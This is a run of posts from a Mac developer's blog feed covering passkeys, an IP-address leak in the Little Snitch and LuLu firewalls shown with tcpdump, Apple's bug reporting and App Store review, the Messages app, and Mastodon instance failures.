What's the solution? As far as Apple is concerned, I would be satisfied if passkeys could be saved in a local, non-iCloud keychain, as normal keychain items with support for export and import. Ideally, the export format would be cross-platform, and I don't see why it couldn't be cross-platform, given that passkeys are just public-private key pairs tied to a domain. In that case, I would be happy to eliminate web passwords, since I already use randomly-generated, keychain-managed web passwords that can't be memorized (by me). Unless and until Apple provides such a solution, though, I remain extremely skeptical of passkeys and feel inclined to fight back against the notion of replacing and eliminating passwords.

Addendum

After the publication of this blog post, some statements were made on Mastodon by the aforementioned manager of the Authentication Experience team at Apple. (Once again, the power of blogging demonstrated! Thanks to the Hacker News commenter who linked to these statements.)

Passkeys will be importable and exportable, cross-device, and across passkey managers. They aren’t at this time, but they will be. It’s something that’s being defined and designed. https://hachyderm.io/@rmondello/110329118270492669

That's great news! I do wonder why passkeys shipped in iOS and macOS without this export and import, but at least passkeys haven't reached critical mass yet. I look forward to seeing the proposed solution.

And amazingly, me saying this isn’t news. Some companies and folks are already on the record about this. :) https://hachyderm.io/@rmondello/110329138081071052

Well, it's news to me, as someone who follows tech news closely! I wish there were links here to the record, or clarification of which companies and folks were on the record. Did these companies and folks include Apple and Google?

Addendum 2

On further reflection, I don't find the above response as satisfying now as it appeared on first impression. Specifically, there was no mention at all of Safari's iCloud keychain requirement for saving passkeys. It's one thing to say, "Of course you can migrate from Apple's passkey manager to a different manager, so you're not locked in!" But that wasn't my primary concern as a longtime Apple user. I don't want to switch to another platform, or to a third-party passkey manager. I just want Safari to allow me to save passkeys to a non-iCloud keychain, and continue to use those passkeys for logging into web sites in Safari. If that's not on the table, then export is largely irrelevant to me. I don't want to have to export from iCloud keychain, which would defeat the whole point of avoiding iCloud in the first place. My main complaint was the iCloud requirement, and if Apple is going to say, "As long as you're using our passkey manager, you have to use iCloud, but you're free to use a different passkey manager, that wouldn't address my concerns. It's a dismissal of my concerns.

]]>
Follow-up to Little Snitch "denied" connections leak your IP address https://lapcatsoftware.com/articles/2023/3/5.html 2023-03-31T15:30:00Z 2023-03-31T15:30:00Z A few days ago I wrote Little Snitch "denied" connections leak your IP address in which I explained that connections denied by Little Snitch are still leaking your IP address, a major privacy issue. The addendum of the blog post notes that I had briefly tested LuLu and saw some of the same behavior. After I published my blog post, I sent a link to Patrick Wardle, the developer of LuLu, who has been very responsive and helpful. Moreover, LuLu is open source, so I was able to examine how it works exactly. On further testing with LuLu, I came to believe that there's actually a bug in the macOS network filter extension implementation. I've now filed FB12088655 with Apple: Privacy: Network filter extension TCP connection and IP address leak.

The bug report includes a sample network filter extension Xcode project, which I'm providing for download here. The extension filters all connections to ports 80 (http) and 443 (https), and it always returns [NEFilterNewFlowVerdict dropVerdict] from [NEFilterDataProvider handleNewFlow:]. In other words, it blocks all http and https connections. To test yourself, you'll need to replace my development team with your own development team in the Xcode project, build and run the app, then enable the extension in System Preferences/Settings and allow it to filter content when the system dialog pops up. Then you'll want to run tcpdump in Terminal to capture the packets:

sudo tcpdump --interface=all -n --no-promiscuous-mode tcp port 80 or tcp port 443

You can also search for "FOOBAR" in the Console app for some connection logging from my extension.

I don't think the bug occurs with every connection. It seems somewhat random and may be a race condition in Apple's code. What you'll sometimes see in the packet trace is the first 2 steps of the TCP 3-step handshake: the SYN packet from your Mac to the remote server, and the SYN-ACK packet from the remote server to your Mac. No further packets are sent from your Mac, and the remote server may do a TCP retransmission of the SYN-ACK packet when it doesn't get an ACK from your Mac.

I believe that this macOS bug accounts for everything strange I saw with LuLu, which has a relatively simple implementation of connection blocking. It's difficult for me to determine how much this bug accounts for the behavior of Little Snitch, because I don't have its source code, and the developers of Little Snitch stated that they're doing deep packet inspection, which I would assume uses the API [NEFilterNewFlowVerdict filterDataVerdictWithFilterInbound: peekInboundBytes: filterOutbound: peekOutboundBytes:]. As I said in my previous blog post, with regard to Little Snitch, "The information leak appears to occur for every TCP connection, as far as I can tell", which is more than I'm seeing with LuLu or my sample project.

]]>
Little Snitch "denied" connections leak your IP address https://lapcatsoftware.com/articles/2023/3/4.html 2023-03-29T13:15:00Z 2023-03-31T15:29:00Z Little Snitch is a macOS app and network filter extension made by Objective Development Software. I purchased Little Snitch years ago, continue to use it, and will continue to use it. I've also done a lot to promote Little Snitch on my blog and even in the news media. However, this blog post raises a privacy issue with Little Snitch that bothers me, and I believe the public has the right to know about it. My hope is that highlighting this issue will prompt some improvements in Little Snitch to ameliorate it.

Here's Objective Development's advertisement for the Alert Mode of Little Snitch:

Whenever an app attempts to connect to a server on the Internet, Little Snitch shows a connection alert, allowing you to decide whether to allow or deny the connection. No data is transmitted without your consent. Your decision will be remembered and applied automatically in the future.

When you look at the implementation of Little Snitch, the interpretation of the word "data" becomes crucial. Technically, unless you allow the connection, Little Snitch does indeed prevent HTTP data from getting sent. Nonetheless, Little Snitch does not prevent TCP (Transmission Control Protocol) data from getting sent. This TCP data includes your IP address, which can often be used to personally identify you. The server knows that you, i.e., your IP address, tried to connect to the server, even when Little Snitch "denies" the connection.

The background to this blog post is that I was testing whether Little Snitch exempts its own connections to the developer's server from getting blocked by Little Snitch. I already knew that Little Snitch could block its own software update, but I wanted to see whether there was anything else, ironically in order to assuage someone else's fear about the app. The good news is that Little Snitch doesn't exempt its own connections, as far as I can tell. I tested this on one of my Macs that didn't yet have Little Snitch installed. I disconnected the Mac from the internet, installed Little Snitch, and went through the entire setup process. Below is a minimal set of rules that you can use for testing. It blocks everything except configd, which is required to connect to your router, and mDNSResponder, which is required to perform DNS queries. (By the way, the "Information from Objective Development" in the screenshot below was available without an internet connection, so it appears to be bundled with Little Snitch.)

Little Snitch All Rules

I ran the tcpdump command in Terminal to record a packet trace, and then I reconnected my Mac to the internet to see what happens.

In the packet trace, I found no connections to Objective Development. Disturbingly, though, there was some unusual TCP activity, for example to Apple! (The IP addresses were in Apple's allocated 17.0.0.0/8 IPv4 range.) At first I suspected that Apple had exempted itself from network extension filtering again. However, when I emailed Objective Development, I learned the truth: Little Snitch allows some TCP packets to be sent. Objective Development told me that Little Snitch uses deep packet inspection to try to get a name for the connection. I assume they meant for example the HTTP Host header, the HTTP/2 :authority pseudo-header, or the TLS Server Name Indication. The IP address alone would not necessarily provide a unique domain name, because multiple domains can use the same IP address.

An HTTP connection over TCP has to initiate a 3-step "handshake" before any actual data—such as HTTP headers—can be sent over the connection. Every TCP packet, including any packet involved in the handshake, contains the IP addresses of the sender and the receiver. Thus, before Little Snitch can perform deep packet inspection, the IP address of your Mac may have already been sent to the remote server!

You can test the Little Snitch IP address leak yourself. Just run the following command from Terminal app. (See man tcpdump for a description of the options.)

sudo tcpdump --interface=all -n --no-promiscuous-mode

The information leak appears to occur for every TCP connection, as far as I can tell.

While researching my blog post, I discovered a blog post from 2021 by Rhino Security labs titled Bypassing Little Snitch Firewall with Empty TCP Packets. For some reason, their blog post didn't seem to attract any public attention at the time; I certainly wasn't aware of it back then. The blog post described a technique, along with a proof of concept, to connect to a server without triggering a Little Snitch alert dialog. The author discovered the same unsettling fact that I've now discovered:

Despite what it might seem, Little Snitch alerting doesn’t trigger at the first TCP packet, but rather waits until application data is sent before interrupting the connection and alerting the user. This is to support its domain-to-IP connection features.

The author also provided a disclosure timeline, listing email exchanges with Objective Development:

Nov 3, 2021 – Objective Development responded with a detailed email on why this behavior is necessary for Little Snitch and why it cannot be fixed.

I haven't tested whether the proof of concept, which has both client and server components, still works on the latest version of Little Snitch. Strangely, the author never mentioned the privacy implications of Little Snitch's behavior, the fact that TCP packets with your IP address are allowed to be sent to the server without your consent. Perhaps the author was focused exclusively on the possibility of a malicious app bypassing the Little Snitch alert dialog, whereas my concern is simply personal privacy.

I understand that Objective Development is in a difficult position here, because the Little Snitch feature of allowing or denying connections by domain name may sometimes require deep packet inspection. The issue, in my opinion, is that Little Snitch seems to always require deep packet inspection. I don't understand why it's required when a rule for a particular process is specified to "Deny any outgoing connection". The domain name doesn't matter in this case. I have a lot of Little Snitch rules like that, denying all connections for a process that I don't want to connect to the internet at all.

I'd like to see an explicit option in Little Snitch rules to enable or disable deep packet inspection. I should be able to opt out of the behavior. As an alternative, Little Snitch could use the DNS cache to correlate the IP address with the domain. After all, any domain-based connection by necessity has already queried DNS to find the IP address of the server. In many cases, this correlation between IP address and domain will be unique. And if there happen to be multiple domains in the DNS cache with the same IP address, then Little Snitch could show its alert and ask me whether to allow or deny the connection, without allowing my IP address to be leaked to the server.

At the very least, I'd like to see Objective Development publicly acknowledge this issue, not just privately in emails to the technically sophisticated who happen to discover it on their own. Until now, I've trusted Little Snitch to protect my privacy, but my trust has been a bit shaken. Although Little Snitch is still an extremely useful tool, there's an important gap between what I believed it did and what it actually does. Objective Development knew all along, while their customers, myself included, were largely oblivious.

Addendum: What about LuLu?

LuLu is an open source firewall for outgoing network connections, made by security researcher Patrick Wardle. I decided to test it briefly, and I found the same kind of IP address leak as Little Snitch, perhaps for the same reason. However, I'm not 100% confident in my results, because as a Little Snitch user, I'm much less familiar with LuLu and how it works. Moreover, the feature set and user interface of LuLu seem, let's just say, primitive compared to Little Snitch.

Addendum: March 31 2023

See my follow-up post.

]]>
What Apple doesn't get about Feedback https://lapcatsoftware.com/articles/2023/3/3.html 2023-03-27T13:50:00Z 2023-03-27T19:15:00Z I've had a hate-hate relationship with Apple's Feedback Assistant for well over a decade, since before its name was changed to Feedback Assistant from Radar. (I think it's still known internally as Radar.) At various times over the years I've even boycotted Radar/Feedback Assistant out of frustration, refusing to file any bug reports with Apple. Regrettably, though, I've always fallen off the wagon in the end. Hi, my name is Jeff, and I'm a bugaholic. Anyway, my complaints about Apple's bug reporting system are more or less the same today as they were many years ago. My top complaint, as always, quoted from the previous link:

We developers spend a lot of time discovering, investigating, and reproducing these bugs for Apple, without receiving any compensation. Inexplicably, though, Apple employees are dismissive of our help. They seem to care more about closing the Radar than fixing the bug that the Radar reports.

In recent weeks I've been getting a lot of emails from donotreply@apple.com about the Feedbacks I've filed, likely because the release of macOS 13.3 and iOS 16.4 is imminent. When I check Feedback Assistant, I see a note from Apple:

Has this issue been resolved after installing the latest update? If not, please use Feedback Assistant to let us know you are still experiencing it.

The note doesn't say explicitly what "build 22E5236f" means (why not?), but it turned out to be one of the macOS 13.3 beta versions.

As a lone developer, I just don't have enough time to test every minor Apple beta version. I have much better things to do, like work on my own software! I don't have enough Apple devices to test every beta either. I do test the betas for major OS updates, after WWDC, but that's all. My beta testing period is June through September, while the rest of the year I stick to public software updates. I am perfectly willing, though, to test whether a bug report has been resolved after Apple publicly releases an update that allegedly fixes it.

Why did I say "allegedly"? Let me quote again from my 2009 blog post:

A number of times, I’ve gotten requests to verify that a bug still exists in software update X, and indeed it does still exist in software update X, as demonstrated by the very steps to reproduce that I listed in my bug report. Did anyone at Apple even bother to follow my steps? (That’s a rhetorical question — obviously, no.)

Believe it or not, this is still an issue today. Which is another reason why I'm not eager to install every little Apple beta version to test the bugs they want me to test, in a kind of wild goose chase.

Lately, Apple seems to have become more insistent about developers testing bugs on beta versions. I've been getting multiple emails for each Feedback, requesting that I test on a beta; many of these emails appear to be automated reminders. And I can't even tell Apple that I'll test it later on the release version, because if you look at the screenshot above, my only options are "Resolved" or "Not Resolved". Normally there's a text field in a Feedback where you can add more information, but for some strange reason the text field is hidden when Apple wants you to test the Feedback. And of course it's pointless to reply to the donotreply emails.

One particular case got on my nerves and "inspired" me to write this blog post:

We appreciate your feedback, however, due to lack of response we have closed this report. If you are still experiencing this issue, please open a new report.

Remember how I said at the beginning (and in 2009), "They seem to care more about closing the Radar than fixing the bug that the Radar reports"? This is a case in point. They couldn't even wait for macOS 13.3 to be released, which is what I was waiting for. Apple decided to close my Feedback after only 16 days. I had received three emails about that Feedback, two of which appeared to be automated reminders (both of which were sent coincidentally at precisely 5:32am California time, about a week apart).

I wouldn't actually mind if Apple closes my Feedback, as long as I could reopen it if the bug still exists in macOS 13.3. However, my understanding is that, due to some crazy technical design decision in Apple's bug reporting system, a Feedback/Radar cannot be reopened once it's closed. Hence, "please open a new report." That's just… I'm not even going to say the word, an expletive. "We appreciate your feedback", my ass! (That's a lesser expletive.)

I'm not threatening to boycott Feedback Assistant again, for I know I'll fall off the wagon again. In fact, I filed a new Feedback yesterday (about an entirely different bug). On the other hand, I did leave an extremely grumpy response to the aforementioned closed Feedback. Ironically, I was able to add more information after Apple closed it (you can see "Add more information" in the screenshot), which I wasn't able to do before they closed it. I also wrote this blog post to publicly inform—and chastise—Apple about how Feedback Assistant works (or more accurately, doesn't work) from the outside. It feels like they're internally oblivious to the experience of external developers.

Although I still file some Feedbacks, I don't file nearly as many as I could file. I certainly don't file them for every bug I see, or every feature request I'd like. You might say it's a partial boycott. I hesitate to file Feedbacks, because the experience too often epitomizes the expression "No good deed goes unpunished".

Addendum

I've just installed macOS 13.3, and I found that the Feedback in question is partially but not entirely fixed. Sigh.

I'm not going to open a new issue, because to hell with that.

]]>
Mac Messages: Can't I show my email address? https://lapcatsoftware.com/articles/2023/3/2.html 2023-03-08T17:15:00Z 2023-03-08T17:15:00Z Years ago I stopped using iMessage because it was losing messages. Some messages were simply not delivered, with no error or explanation. I found this unacceptable, and it never happened to me with SMS. I understand that SMS is not end-to-end encrypted, but what's the point of encryption if the message never makes it from end to end? So I've been using SMS ever since on my iPhone and still do; lost trust is difficult to regain. Nevertheless, I started using iMessage again several months ago, but only on my Mac, in order to keep in touch with some people after I quit Twitter. This became my first real acquaintance with the Mac Messages app, which I had no reason to use otherwise. (I did use iChat extensively back in the day when AIM was popular.)

I've been sending messages exclusively from a personal email address, but the other day I needed to message a StopTheMadness customer, so I wanted to use a business email address instead. For some reason I had to add the new email address in the Apple ID pane of the app formerly known as System Preferences, rather than in the Messages app. Once I figured that out, I opened a new message and entered the customer's email address in the "To:" field. And then I… wait, where is the "From:" field?? Can't I choose from my email addresses, or even see which email that Messages has chosen automatically? In Messages Preferences (err, Settings), there's a "Start new conversations from:" popup. That's fine, and it's analogous to the "Send new messages from:" popup in Mail app. Yet every new message in Mail app has a "From:" field in addition to the "To:" field. You can easily switch your email address from the default. As far as I can tell, this doesn't exist in Messages app. Am I missing something? It seems like a bizarre oversight. Why would I need to open Preferences (Settings) every time I want to send a message from a (currently) non-default email address?

I actually did change the settings to my business email address before I messaged the customer. Honestly, however, I have little trust in Apple to do the right thing (see my lost trust above), so it would be nice to confirm with a "From:" field that the message is coming from the proper address. Another thing that confuses and worries me is the predisposition of Messages to put everything in a single window. You have to deliberately select "Open Conversation in Separate Window" to make it behave differently. Thus, I'm presented with multiple conversation threads in the same window, and I can only hope that each one is coming from the email address that I originally intended. There seems to be no way in the user interface to tell! If any of my readers know (and I mean know, not guess) a way to look at that information, please let me know.

Being the person that I am, I had to do some kind of verification. The good news is that there's a way to verify, though it's ugly, and of course it's in Terminal app.

sqlite3 ~/Library/Messages/chat.db .dump

In the SQLite dump you can see each message, with both the message text and the sender's email address. Messages did work right, to my relief. I just wish that I could see and change this somewhere in Messages itself. How do millions of people even use such a primitive app, and how is the app so primitive after 20 years of Apple working on Mac OS X and macOS?

]]>
Race to the bottom: App Store peer benchmarks https://lapcatsoftware.com/articles/2023/3/1.html 2023-03-01T20:25:00Z 2023-03-01T20:25:00Z Today Apple announced the availability of peer group benchmarks for developers in App Store analytics.

App Analytics in App Store Connect is a helpful tool with a breadth of features to help you understand and improve how your app is performing on the App Store. With metrics related to acquisition, usage, and monetization strategy, App Analytics enables you to monitor results in each stage of the customer lifecycle, from awareness to conversion and on to retention. Starting today, you can put your app’s performance into context using peer group benchmarks, which compare your app’s performance to that of similar apps on the App Store.

Of course, I raced to see the peer group benchmarks for my own apps. First, StopTheMadness in the Mac App Store, which is currently $9.99 USD:

StopTheMadness

My proceeds per paying user are $7.48. I'm in the App Store Small Business Program, so Apple's cut is 15% rather than 30%, which leaves me with $8.49 USD. I guess that foreign currency exchange rates bring down my average by $1? Or maybe the amount includes refunds, I don't know.

Now StopTheMadness Mobile in the iOS App Store, which is currently $7.99 USD:

StopTheMadness Mobile

My proceeds per paying user are $6.25, closer to 85% of $7.99, which would be $6.79.

In both the iOS App Store and Mac App Store, my proceeds per paying user put me in the top quartile of all upfront paid apps with no In App Purchase, despite the fact that both of my apps cost under $10. Indeed, according to the numbers given, a mere $5 in proceeds per paying user would have put me in the top quartile. Curiously, the quartiles are divided by exactly the same dollar amounts in the iOS and Mac App Stores; I don't know the explanation for that.

If I look at my peer group, the Utilities category, as opposed to all categories in the above screenshots, the numbers are approximately the same but actually a little "worse": in both the iOS and Mac App Store, it's $1.33 proceeds per paying user to qualify for the 2nd quartile, $2.47 for the 3rd quartile, and $4.36 for the top quartile.

In my opinion, this is a very sad illustration of the state of the App Store for developers. It's extremely difficult for us to sell our apps for a decent, sustainable price. The App Store has severely devalued software. And this was intentional, as Apple itself admits. From Apple's 2019 open letter Addressing Spotify’s claims:

A full 84 percent of the apps in the App Store pay nothing to Apple when you download or use the app. That’s not discrimination, as Spotify claims; it’s by design

By design. The race to the bottom was by design. App Store defenders often like to compare the App Store to a retail store, but there are few if any retail stores in the world that allow you to walk out the door with 84% of their products, having paid nothing. If you tried to do that, you'd be tackled by retail store security. I personally don't even care that much about Apple's "cut", whether that's 15% or 30%. I'd happily pay 50% to Apple if I could sell my apps at a significantly higher price, and if Apple would help me move my products from their virtual "shelves". The reality, though, and App Store analytics bear this out, is that I bring more customers to Apple than Apple brings to me.

]]>
I do want to go back to social media https://lapcatsoftware.com/articles/2023/2/2.html 2023-02-28T15:05:00Z 2023-02-28T15:05:00Z Back in November I wrote a blog post titled I don't want to go back to social media. In retrospect, I realize that I do want to go back to social media, in fact did go back to social media (to Mastodon, that is, not to Twitter, which I definitely don't regret leaving). So this blog post is a kind of mea culpa. I wasn't wrong about everything I said earlier, perhaps not even about the majority of things I said earlier, but I do want to talk about where exactly I went wrong. I think more than anything, I misjudged myself, my feelings, my character.

My earlier blog post talked about Slack as a substitute for social media. This turned out to be a misjudgment. I had a honeymoon period with Slack, but eventually my relationship with it soured. I've decided to disengage from the invitation-only developer Slack that I had joined. There were two main problems: (1) the Slack has a large number of topic-specific chat rooms, and I got tired of jumping back and forth between them to follow the conversations; (2) I came to feel that I couldn't be myself in the Slack. I was a guest in someone else's house, expected to follow their rules and get along with their crowd, who were mostly strangers to me.

My lament about Twitter was that it "brought out the worst in me. I struggled to be my best self on Twitter." If I'm honest with myself, though, maybe I have no best self. What if this is as good as it gets, Melvin Udall asked in the film named after that very quote. I don't intend to be a jerk, but I can be… jerky. While I think it's usually for a good cause, I acknowledge that the ends don't justify the means. I tend to be rather opinionated, outspoken, unyielding, and sarcastic. I'm not proud of that fact. I don't celebrate it. Yet I can't deny it, nor can I deny my inner demons. Or as Doctor Griswold would put it: my inner crapola, inner debris, garbage, loose wires. As Detective Callahan (better known by his nickname) said in another film—not a comedic film, but not without comedy—a man's got to know his limitations. I'm not getting any younger, and I don't appear to be getting a lot better either, so mathematics suggests that it's likely I've approached or even reached my peak on the personality scale.

On social media I have more freedom to be myself, for better or worse. Without intending to revel in ranting, I sometimes let myself get carried away and let the feeling overtake me. I may regret it afterward, but that's more about my own self-conception and internal struggle than it is about committing a faux pas, because social norms are very different (nonexistent?) on social media as compared to a hosted chat room. Ironically, it may be better to embarrass oneself in public than in private. On social media, you choose your own crowd, your own following, and your followers choose you. You're not stuck in a room together. If you don't like what someone says on social media, you can always unfollow, mute, or block them. In effect, you get to set your own social norms and rules of engagement. To me, this feels much more comfortable, knowing that my hot takes are seen (aside from boosts, which you can also disable) only by those who signed up to do so.

Something else I misjudged about leaving social media was my desire for free time. I wrote, "What I've found after quitting Twitter is that in some sense I have my life back. I feel less hurried. I can spend hours focusing on some activity without needing a break to check Twitter. I set my own agenda, according to my own interests, as opposed to my Twitter feed setting my agenda, according to the interests of my following." To be fair (to myself), I did have a nice vacation from Twitter. Maybe I needed the break. Inevitably, however, I get bored with vacations and need to get back to work. Without social media, I ended up with too much time on my hands. It's hard to believe such a calamity! Admittedly, this calamity may reveal certain gaps in my social life, an entirely different topic that I have no desire to blog. Anyway, didn't we all acquire gaps in our social lives during the pandemic?

I previously likened social media to an unhealthy addiction. Was I wrong about that? I don't know. It certainly appears that I'm addicted. I tried quitting, then I backtracked. Moreover, I still think that social media is problematic in a number of ways. Along with some new problems, Mastodon suffers from many of the same old problems that Twitter did, since people are people wherever they go. I characterized social media as "seductive because it gives the illusion of friendship. It's the ultimate in low maintenance, no effort friendship." I think I misjudged my relationship with my followers, though. After all, I never had the expectation to become close personal friends with Jack Nicholson, Rene Russo, or Clint Eastwood. (The last might need a real friend, because we've seen him talk to an invisible friend in an empty chair, but that's not my problem.) They are performers, we are the audience. I've come to realize that I have the need to perform before an audience too. My blog is a stage for me, and so is social media. My audience is my RSS subscribers and social media followers. I found that I missed my followers when they were gone (twice gone, if you count the aforementioned problem with my old Mastodon instance). I didn't necessarily miss them in the exactly same way I miss long lost friends, but I missed them nonetheless. I missed having an audience, I missed the performance, I missed hamming it up. I guess I'm addicted to ham?

This is my current opinion. I reserve the right to change my mind again in the future.

]]>
Ventura or Vista? Cancel or Allow in Mac Preview app https://lapcatsoftware.com/articles/2023/2/1.html 2023-02-27T01:50:00Z 2023-02-27T01:50:00Z Apple used to parody permission prompts in Windows Vista.

Many years later, the last laugh is on Mac users.

Preview will open this link in Safari

This permission prompt is new in macOS 13 Ventura. To see it, just Print this web page, Open in Preview, and click any link.

Preview app shipped with Mac OS X 10.0. In fact, Preview was carried over to Mac from NeXTSTEP. I don't know why, more than 30 years later, Apple decided to add a permission prompt to links in Preview—as far as I know, Apple has provided no explanation or documentation of this new "feature"—but I don't like it, and I don't like what the Mac has become: a parody.

]]>
App Store Review continues to delay updates for no reason https://lapcatsoftware.com/articles/review-folly2.html 2023-02-14T15:45:00Z 2023-02-14T15:45:00Z Happy Valentine's Day to everyone except Apple's App Store Review!

My story does have happy ending: my Safari extension StopTheScript is now updated in the iOS App Store. If you're not familiar, StopTheScript is unique in that it stops all JavaScript on your selected web pages, including inline JavaScript, a capability not possessed by Safari content blockers, which can only stop externally loaded scripts. The new version 1.2 of StopTheScript contains a single change: a redesigned launch screen with improved instructions for enabling and using the Safari extension. Ironically, this very minor update triggered a rejection and delay from App Store Review.

I submitted version 1.2 the evening of February 9, and it went into review the morning of February 10. Nothing happened that day, but I awoke the morning of February 11 to an email from App Store Review, sent at 1:30am Cupertino time, titled "We noticed an issue with your submission." Below is what I saw when I opened App Store Connect.

App Review Guideline 2.1 - Information Needed -For what purposes does your app's extension requires read and write permissions?

Here's the attached screenshot:

StopTheScript would like to access en.wikipedia.org.

This screenshot wasn't taken by App Store review though; it's one of my own App Store screenshots! In fact it's not even a new screenshot, as you can see from the date "Sat Oct 2", but just an old screenshot carried forward from an earlier version of StopTheScript (in the App Store since October 2021). As I said, nothing changed in the new version except the launch screen.

Safari extensions run scripts inside web pages, and Safari requires user consent for this, as I explained a few years ago in my blog post The security of Safari extensions. Without user consent, the extension doesn't work at all. App Store Review should know how to use Safari extensions, and understand the Safari permissions system, since they review Safari extensions, right? Yet it appears that my reviewer didn't know. It's frustrating for everyone, developers and users both, when App Store Review is incompetent to do their own job—which is too often the case! Anyway, I replied in App Store Connect that morning, providing a reluctant remedial lesson to the reviewer.

Afterward, nothing happened for more than two days. The submission remained rejected. Fortunately, I wasn't in a hurry to release the update, since it was merely a launch screen revision, but what if this had been an urgent bug fix update? Eventually I did get tired of waiting, and I was becoming concerned that they totally forgot about me, so yesterday evening I "poked" again in App Store Connect, reiterating that I had answered the reviewer's question and requesting that the review continue. This morning at 12:30am Cupertino time, the update went back into review, and it was approved two minutes later. In total, the review of my minor App Store update took nearly four days, not even counting the time spent "Waiting for Review".

App Store developers have to put up with this kind of crap all the time, but App Store users—indeed App Store defenders and apologists—never see it. That is, they never see it unless we developers write about it. Most Apple users have no idea about the gross incompetence and Severance-like bureaucracy of App Store Review. I don't even care that much about Apple's "cut" of my proceeds, I just want the ability to ship my software without the oversight of Keystone Kops.

]]>
Mastodon postmortem https://lapcatsoftware.com/articles/mastodon2.html 2023-02-07T01:30:00Z 2023-02-07T01:30:00Z My previous blog post described how Mastodon instance mstdn.plus with over 4K users suddenly broke. After 6 days of breakage, and 6 days of no word from the instance administrator, an automated email arrived yesterday from mstdn.plus stating that my archive was ready for download. I had started an archive of my mstdn.plus data the same day the breakage began, but the archive was stuck, unfinished, another consequence of the breakage. What the email stated was indeed true, and I was finally able to download my data. Moreover, later that day my followers finally transferred automatically to my new instance, a process that, again, was initiated 6 days prior. I've heard from other mstdn.plus refugees that their followers were transferred to their new accounts yesterday too.

I wouldn't say this episode ended well, though. Besides losing my followers for a week, I permanently lost all of my posts on my old instance. In that respect, I still had to start over from scratch. I've now archived those posts, but for some reason Mastodon provides no way for me to import them to my new instance.

The mstdn.plus administrator never replied to my email inquiries, even now. However, he did post a short statement: "Looking into an issue with mstdn.plus at the moment." And then… nothing. That was the entirety of the administrator's communication about the issue. Today he continued posting (boosting) about a different subject, as if a 6 day outage and absence were nothing, a mere blip. There's been no explanation whatsoever of either the outage or the administrator's absence.

Jonah Aragon

Needless to say, this behavior is unacceptable, the administrator has proven untrustworthy, and my previous recommendation still stands that everyone on this administrator's two instances mstdn.plus and mstdn.party ought to move to a new instance ASAP, while they can, before another incident like this, or worse, occurs again.

According to the Mastodon Server Covenant, "All Mastodon servers we link to from our server picker commit to the following… At least one other person with emergency access to the server infrastructure". Nonetheless, Join Mastodon is actually where I found mstdn.plus back in December, when the covenant had the exact same language, and there's no sign that mstdn.plus or mstdn.party has an emergency backup admin, otherwise the outage wouldn't have lasted for 6 days. Thus, it appears Mastodon doesn't follow its own server covenant. Caveat emptor!

Mastodon is run by a bunch of amateurs, literally, and this shows in many ways. The flaws and shortcomings of Mastodon are pretty obvious. But when I've mentioned them publicly, I've drawn the denials and the wrath of a number of Mastodon "fanatics", especially over the past week. As with Apple fanatics, I find Mastodon fanatics annoying, tedious, uninteresting. They typically take an "us versus them" attitude, where them in this case would be Twitter. They act like my criticism of Mastodon is promotion of Twitter, which is strange because I'm off Twitter and on Mastodon. I left Twitter for a reason, and I'm not going back. However, I didn't leave Twitter for Mastodon. In a sense, Mastodon was an afterthought for me, and I'd be happy to abandon it in favor of a superior Twitter replacement, if one arose. I am a fan of decentralization—after all, I've been blogging on my own web site and following RSS for over 15 years—but I'm not a committed ideologue, a decentralization fanatic. I remain on Mastodon now, despite the dismaying experience of the past week, not because I'm committed, not because Mastodon is great, but because the people I know happen to be on Mastodon. The same reason I was on Twitter. It's too bad that both services turned out to be disasters.

]]>
Mastodon instance mstdn.plus with over 4K users suddenly broke https://lapcatsoftware.com/articles/mastodon.html 2023-01-31T13:50:00Z 2023-02-07T01:29:00Z Does it matter which Mastodon instance you choose? I've seen many people claim that it doesn't matter, and moreover that you can easily switch instances. I learned the hard way that this claim is unwarranted, a disservice to new Mastodon users. Your choice of instance is important, indeed crucial. Until yesterday I was on mstdn.plus, a Mastodon instance with well over 4000 active users according to its server stats. Yesterday morning I woke to a "frozen" timeline. At some point my home timeline stopped showing new posts. I stopped receiving new notifications too. My desolate experience was the same on the web site and in several third-party Mastodon client apps that I have installed on various devices. It turned out that my own experience was far from unique: looking at the federated timeline of mstdn.plus, at a certain point all posts from other Mastodon instances stopped, leaving only posts from local users. The last post from another instance was at 07:45 UTC on January 30, 2023. In the local mstdn.plus posts that appeared afterward, I saw a number of users complaining about frozen home timelines and missing notifications. (It was difficult to have conversations with them, because we weren't getting notifications for each other's replies.) Clearly, the entire instance was now severely dysfunctional.

I sent a direct message to the instance administrator (before I realized that notifications were broken) and emails to two of his addresses. As of the publication of this blog post, the administrator still hasn't responded, nor has he posted any announcement on Mastodon. This person also administrates the instances mstdn.party and mastodon.neat.computer (which as far as I can tell continue to operate normally). More than 24 hours after mstdn.plus broke, the administrator remains silent, unresponsive, absent.

Since mstdn.plus had become unusable, with no sign of a fix forthcoming, I decided that I needed to move to a different instance. The first problem was choosing a new instance, which was a choice I didn't want, forced upon me by the circumstances, made even more difficult by the miserable failure of my first choice. I had signed up for mstdn.plus on December 3, 2022, because at the time the most popular instances mastodon.social and mastodon online administered by @Gargron were not open for new sign-ups. They weren't open yesterday either. Mastodon mostly leaves new users to their own devices in choosing an instance. Enter at your own risk, as it were. At first glance, to my inexperienced eyes, mstdn.plus seemed decent, and the administrator is from Minnesota, which appealed to me as a fellow Midwesterner. I don't know how exactly one is supposed to choose an instance?

This time I wanted an administrator who I knew I could trust. Fortunately, I heard of a Mastodon instance for app.net refugees, and the administrator kindly granted me an invitation as a fellow former ADN user. App.net AKA ADN was a social network that operated from 2012 to 2017, in my opinion the best Twitter alternative ever made. I joined ADN and deleted my old Twitter account when Twitter discontinued RSS feed support. To this day it bothers me that we didn't take advantage of the existence of ADN while we had the chance. I consider Mastodon to be vastly inferior to ADN in almost every way. But so it goes. The best technology doesn't always win. Arguably, the best rarely wins.

When you move from one Mastodon instance to another, you can export your follows, lists, account mutes, account blocks, domain blocks, and bookmarks from your old instance and import them on the new instance. But you can't bring your posts with you! Your posts remain with your account on the old instance, which becomes inactive after you move, so you can no longer edit or delete those posts, though you can delete the account entirely. You also lose access to your direct messages: when your account becomes inactive, you can't even read your old DMs anymore. You can request an archive of your data from your server, which I did before moving instances. However, this process has not yet completed. The export still shows "Compiling your archive…" more than 18 hours later. I suspect that the general brokenness of mstdn.plus has affected this too. If the export never completes, then I've permanently lost all of my posts and direct messages.

Other parts of your account cannot be migrated via export and import. You need to manually recreate your profile, including avatar, header, bio, and metadata. You need to reset your preferences. You need to recreate your filters! Believe it or not, there's no export and import for filters, so hopefully you don't have an extensive list of filters, otherwise you'll be cursing Mastodon.

